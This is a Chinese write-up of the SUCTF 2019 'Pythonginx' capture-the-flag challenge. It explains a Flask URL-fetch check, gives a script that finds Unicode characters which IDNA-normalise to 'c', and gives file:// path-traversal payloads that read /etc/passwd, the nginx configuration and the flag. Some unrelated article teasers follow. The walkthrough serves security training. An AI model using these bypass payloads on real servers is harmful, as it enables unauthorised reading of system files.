[SUCTF 2019]Pythonginx

news2025/1/11 22:40:18

源码:

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl, timeout=2).read()
    else:
        return "我扌 your problem? 333"

解释一下代码:

路由是/geturl,要GET或者POST传入url参数,urlparse对url进行分割,host等于其中的hostname(如果传入http://suctf.cc的话就得到suctf.cc),urlsplit也是分割url,parts[1]就是得到列表第二部分同样是hostname。

urlparse和urlsplit有区别:urlsplit和urlparse非常相像,用法基本一致,但是他们有略微的不同,split函数在分割的时候,path和params属性是在一起的

比如

https://username:password@www.baidu.com:80/index.html;parameters?name=tom#example

urlsplit(url)得到:
“”"
SplitResult(
scheme=‘https’,
netloc=‘username:password@www.baidu.com:80’,
path=‘/index.html;parameters’,
query=‘name=tom’,
fragment=‘example’)
“”"

urlparse(url)得到:
“”"
ParseResult(
scheme=‘https’,
netloc=‘username:password@www.baidu.com:80’,
path=‘/index.html’,
params=‘parameters’,
query=‘name=tom’,
fragment=‘example’
)
“”"

然后将hostname以点为分隔,然后idna加密,utf-8解密,存为数组,又以点号重新拼在一起,去掉中间的空格重新构成hostname,再次if判断hostname是否为suctf.cc

urllib.request.urlopen用get方式去获取url的页面内容,一旦连接成功会返回一个文件类型对象,而read()方法能读出请求返回的所有或者bytes个字节

一顿操作的意思其实就是要绕过前两个if,hostname不能为suctf.cc,而经过加密解密拼接之后又要为suctf.cc,其实就是要找在经过idna加密,utf-8解密能替换suctf.cc里面单个或多个字符的某些特殊字符

好了原理懂了就上脚本:

from urllib.parse import urlparse, urlunsplit, urlsplit
from urllib import parse


def get_unicode():
    for x in range(65536):
        uni = chr(x)
        url = "http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: " + uni + ' unicode: \\u' + str(hex(x))[2:])
        except:
            pass


def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False


if __name__ == '__main__':
    get_unicode()

找到以下字符能替换字符’c’,还有一些能替换的就不一一列举了!

str: ℂ unicode: \u2102
str: ℭ unicode: \u212d
str: Ⅽ unicode: \u216d
str: ⅽ unicode: \u217d
str: Ⓒ unicode: \u24b8
str: ⓒ unicode: \u24d2
str: C unicode: \uff23
str: c unicode: \uff43

要文件读取,那就file协议直接传入:

getUrl?url=file://suctf.cℂ/../../../../../etc/passwd

但是还要读取flag,f12提示"Do you know the nginx?"那就应该是读nginx的配置文件:

/getUrl?url=file://suctf.cℂ/../../../../../usr/local/nginx/conf/nginx.conf


得到flag在/usr/fffffflag,那就直接读出flag:

/getUrl?url=file://suctf.cℂ/../../../../../usr/fffffflag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/24895.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[论文评析]Densely Connected Convolutional Networks,CVPR,2017

Densely Connected Convolutional Networks, 文章信息背景与动机DenseNetDense blockDenseNetDenseNet的集中经典配置总结文章信息 题目:Densely Connected Convolutional Networks, 发表:CVPR,2017 作者:Gao Huang, …

【TWVRP】遗传算法求解带时间窗的含充电站车辆路径规划问题【含Matlab源码 1177期】

⛄一、VRP简介 1 VRP基本原理 车辆路径规划问题(Vehicle Routing Problem,VRP)是运筹学里重要的研究问题之一。VRP关注有一个供货商与K个销售点的路径规划的情况,可以简述为:对一系列发货点和收货点,组织调用一定的车辆&#xff…

【密码学篇】虚拟专用网技术原理与应用(商密)

【密码学篇】虚拟专用网技术原理与应用(商密) VPN技术不是洪水猛兽,其普遍应用于网络通信安全和网络接入控制,可通过服务器、硬件、软件等多种方式实现。—【蘇小沐】 文章目录【密码学篇】虚拟专用网技术原理与应用(…

JAVA多线程并发(一):线程的创建

JAVA多线程并发——创建线程 第一章:线程的创建与实现 文章目录JAVA多线程并发——创建线程一、继承Thread类二、实现runnable接口三、简单匿名内部类写法四、实现Callable接口五、线程池一、继承Thread类 代码示例: public class ExtendThread {publ…

SPARKSQL3.0-Unresolved[Parsed]阶段源码剖析

一、前言 上两节介绍了Antlr4的简单使用以及spark中如何构建SessionState,如果没有看过建议先了解上两节的使用,否则看本节会比较吃力 [SPARKSQL3.0-Antlr4由浅入深&SparkSQL语法解析] [SPARKSQL3.0-SessionState构建源码剖析] 那么在Unresolved…

MySql查询的生命周期和性能优化思路

目录 前言 1. 为什么查询性能差 2. 一次查询的生命周期 2.1 客户端与服务端通信 2.2 查询缓存 2.3 解析器 2.4 预处理器 2.5 优化器 2.6 查询引擎 2.7 存储引擎 3. 查询性能优化的思路 4.总结 前言 一说到mysql的查询性能优化,相信很多人能说出来很多的技…

AT32F407/437使用FreeRTOS并实现ping客户端

示例目的 基于以太网络,实现ping客户端已检测网络联机。 支持型号 AT32F407xx AT32F437xx 主要使用外设 EMAC GPIO USART 快速使用方法硬件资源 1) 指示灯LED2/LED3 2) USART1(PA9/PA10) 3) AT-START-F407/ AT-START-F437实验板 4) 以太网连接线软件资源 1) SourceC…

sql函数coalesce和parse_url

学习函数系列: coalesce coalesce函数可以用来排除null值。 coalesce(a, b,c,d) 参数的个数没有限制 返回第一个参数中非null的值。 select help coalesce\G; [ 1. row ] name | COALESCE description | Syntax: COALESCE(value,…) Returns the first non-NUL…

15-JavaSE基础巩固练习:多态、接口、抽象类的综合练习

多态的综合练习 1、需求 狗类 属性:年龄,颜色行为: eat(String something):表示吃东西lookHome():看家 猫类 属性:年龄,颜色行为: eat(String something):吃东西catch…

5G工业互联阶段二:5G产线工控网

5G深入核心生产环节的第二个阶段,主要是实现产线内部通信5G化。以工控5G化为主,并综合考虑数采、安全通信等。大致示意如下: 工艺部件工控通信5G化: 如上图所述,以产线主PLC为中心,大致分为主PLC到产线内机…

Spark 3.0 - 5.ML Pipeline 实战之电影影评情感分析

目录 一.引言 二.Stage1 - 数据准备 1.数据样式 2.读取数据 3.平均得分与 Top 5 4.训练集、测试集划分 三.Stage-2 - Comment 分词 1.Tokenizer 🙅🏻‍♀️ 2.JieBa 分词 🙆🏻‍♀️ 2.1 Jieba 分词示例 2.2 自定义 Jie…

系统设计 system design 干货笔记

参考大佬的博客 https://www.lecloud.net/post/9246290032/scalability-for-dummies-part-3-cache 参考的github https://github.com/donnemartin/system-design-primer#step-2-review-the-scalability-article scalability 1 Clone 每台服务器都包含完全相同的代码库&#…

SOLIDWORKS 2023 3D Creator 云端结构设计新功能

3DEXPERIENCE平台更新版本已经与大家见面,今天微辰三维与大家分享3D Creator 云端结构设计新功能,让我们先一起来看看视频—— SOLIDWORKS 2023 3D 云端结构设计新功能点击观看3D Creator 云端结构设计新功能 如今,我们的设计生产工作不仅要面…

Linux进阶-Makefile

make工具:找出修改过的文件,根据依赖关系,找出受影响的相关文件,最后按照规则单独编译这些文件。 Makefile文件:记录依赖关系和编译规则。 Makefile本质:无论多么复杂的语法,都是为了更好地解决…

m认知无线电网络中频谱感知的按需路由算法matlab仿真

目录 1.算法概述 2.仿真效果预览 3.MATLAB部分代码预览 4.完整MATLAB程序 1.算法概述 使用无线电用户的频率范围在 9kHz 到 275GHz[3],由于无线通信环境中的干扰、信道衰落和无线电收发设备自身属性等的影响,大部分无线电设备只能工作在 50GHz 以下。…

融媒体解决方案-最新全套文件

融媒体解决方案-最新全套文件一、建设背景二、建设思路三、建设方案二、获取 - 融媒体全套最新解决方案合集一、建设背景 随着互联网的快速发展,社会已步入全媒体时代,各媒体机构积极探索传统媒体转型之路。 为巩固壮大主流思想舆论,不断提…

对数的应用:放缩x轴或者y轴以更好地表达函数的结果

对数尺度的作用 yAxnyAx^nyAxn 在实验中 AAA 和 nnn 都是未知数,现在我想求出 AAA 和 nnn假设 n1.5,A1n1.5, A1n1.5,A1,那么我们可以做个图看看 x np.linspace(1,10,10) y 1 * x**3 plt.plot(y)如果我做实验恰好得到一些点,那么我很难知道…

【全志T113-S3_100ask】14-1 linux采集usb摄像头实现拍照(FFmpeg、fswebcam)

【全志T113-S3_100ask】14-1 linux采集usb摄像头实现拍照背景(一)FFmpeg1、简介:2、交叉编译FFmpeg3、测试(二)fswebcam1、背景2、交叉编译fswebcam3、测试背景 在开发板上有一个csi转dvp接口的摄像头,但是…

前端入门到放弃(VUE、ES6,简单到不得了)

VSCode 使用 1、安装常用插件 切换到插件标签页 安装一下基本插件 2、创建项目 vscode 很轻量级,本身没有新建项目的选项,创建一个空文件夹就可以当做一个项目 3、创建网页 创建文件,命名为 index.html 快捷键 !快速创建网页模板 h1 回…

精益管理学会|什么是ECRS改善方法?

ECRS是IE工程改善、精益生產管理改善的四大法宝。 针对现有的生产线进行改善时,常见的做法是对现有的生产线进行绘制各工站的工时山积表如下圖所見,然后对各工站的动作单元进行ECRS 改善。 E:不需要的可进行 Eliminate (取消&…